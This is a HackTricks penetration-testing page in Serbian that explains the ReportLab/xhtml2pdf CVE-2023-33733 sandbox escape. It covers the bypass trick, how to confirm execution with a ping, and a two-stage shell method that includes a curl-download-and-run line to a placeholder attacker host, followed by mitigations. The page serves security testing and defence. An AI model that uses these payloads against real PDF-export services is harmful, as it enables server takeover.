ReportLab/xhtml2pdf [[[...]]] expression-evaluation RCE (CVE-2023-33733)

Reading time: 6 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Ova stranica dokumentuje praktičan sandbox escape i RCE primitiv u ReportLab-ovom rl_safe_eval koji koristi xhtml2pdf i druge PDF-generacione pipeline-ove pri renderovanju korisnički kontrolisanog HTML-a u PDF.

CVE-2023-33733 utiče na ReportLab verzije do i uključujući 3.6.12. U određenim kontekstima atributa (na primer color), vrednosti obavijene u triple brackets [[[ ... ]]] se evaluiraju na serveru pomoću rl_safe_eval. Kreiranjem payload-a koji pivota od dozvoljenog builtin-a (pow) ka njegovim Python funkcijskim globals, napadač može doći do modula os i izvršiti komande.

Ključne tačke

  • Trigger: ubacite [[[ ... ]]] u evaluirane atribute kao što je unutar markup-a koji parsira ReportLab/xhtml2pdf.
  • Sandbox: rl_safe_eval zamenjuje opasne builtine, ali evaluirane funkcije i dalje izlažu globals.
  • Bypass: kreirajte tranzitornu klasu Word da zaobiđete rl_safe_eval provere imena i pristupite stringu "globals" dok izbegavate filtriranje blokiranih dunder imena.
  • RCE: getattr(pow, Word("globals"))["os"].system("")
  • Stabilnost: Vratite validnu vrednost za atribut nakon izvršenja (za color, koristite na primer 'red').

Kada testirati

  • Aplikacije koje izlažu HTML-to-PDF export (profile, invoices, reports) i gde se u PDF metadata ili HTTP odgovorima vidi xhtml2pdf/ReportLab.
  • exiftool profile.pdf | egrep 'Producer|Title|Creator' → "xhtml2pdf" producer
  • HTTP odgovor za PDF često počinje komentarom generatora iz ReportLab-a

Kako bypass sandboksa funkcioniše

  • rl_safe_eval uklanja ili zamenjuje mnoge builtine (getattr, type, pow, ...) i primenjuje filtriranje imena da odbije atribute koji počinju sa __ ili su u denylisti.
  • Međutim, sigurne funkcije žive u globals rečniku dostupnom kao func.globals.
  • Koristite type(type(1)) da povratite pravi builtin type funkciju (zaobilaženje ReportLab-ovog wrapper-a), zatim definišite klasu Word izvedenu iz str sa izmenjenim ponašanjem poređenja tako da:
    • .startswith('') → uvek False (zaobilaženje provere startswith(''))
    • .eq vraća False samo pri prvom poređenju (zaobilaženje provere članstva u denylisti) i True kasnije (tako da Python getattr radi)
    • .hash je jednak hash(str(self))
  • Sa ovim, getattr(pow, Word('globals')) vraća globals dict omotane pow funkcije, koji uključuje importovani os modul. Zatim: ['os'].system('').

Minimalni obrazac eksploatacije (primer za atribut) Postavite payload unutar evaluiranog atributa i osigurajte da vrati validnu vrednost atributa preko boolean i 'red'.

exploit

  • Obrazac sa list-comprehension dozvoljava jedini izraz prihvatljiv za rl_safe_eval.
  • Trailing and 'red' vraća validnu CSS boju tako da renderovanje ne puca.
  • Zamenite komandu po potrebi; koristite ping da potvrdite izvršenje pomoću tcpdump-a.

Operativni workflow

  1. Identifikujte PDF generator
  • PDF Producer prikazuje xhtml2pdf; HTTP odgovor sadrži ReportLab komentar.
  1. Pronađite input koji se reflektuje u PDF (npr. profile bio/description) i pokrenite export.
  2. Verifikujte izvršenje sa niskim šumom koristeći ICMP
  • Pokrenite: sudo tcpdump -ni icmp
  • Payload: ... system('ping <your_ip>') ...
  • Windows često pošalje tačno četiri echo zahteva po defaultu.
  1. Uspostavite shell
  • Za Windows, pouzdan dvofazni pristup izbegava probleme sa quoting/encoding:
  • Stage 1 (download):

exploit

  • Stage 2 (execute):

exploit

  • Za Linux meta, sličan dvofazni pristup sa curl/wget je moguć:
  • system('curl http://ATTACKER/s.sh -o /tmp/s; sh /tmp/s')

Napomene i saveti

  • Konteksti atributa: color je poznat evaluirani atribut; i drugi atributi u ReportLab markup-u mogu takođe evaluirati izraze. Ako je jedna lokacija sanitizovana, probajte druge koje se renderuju u PDF toku (različita polja, table styles, itd.).
  • Quoting: Držite komande kompaktne. Dvofazni download značajno smanjuje probleme sa quoting-om i escaping-om.
  • Pouzdanost: Ako su exporti keširani ili stavljeni u red, blago varirajte payload (npr. random path ili query) da izbegnete keširanje.

Mitigacije i detekcija

  • Nadogradite ReportLab na 3.6.13 ili noviji (CVE-2023-33733 je ispravljen). Pratite sigurnosne advisore i u paketima distribucije.
  • Ne prosleđujte korisnički kontrolisan HTML/markup direktno u xhtml2pdf/ReportLab bez striktne sanitizacije. Uklonite/odbijte [[[...]]] evaluacione konstrukte i vendor-specific tagove kada je input nepouzdan.
  • Razmotrite onemogućavanje ili umotavanje korišćenja rl_safe_eval za nepouzdane inpute.
  • Monitorišite sumnjive odlazne konekcije tokom generisanja PDF-a (npr. ICMP/HTTP sa app servera dok se exportuju dokumenti).

References

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks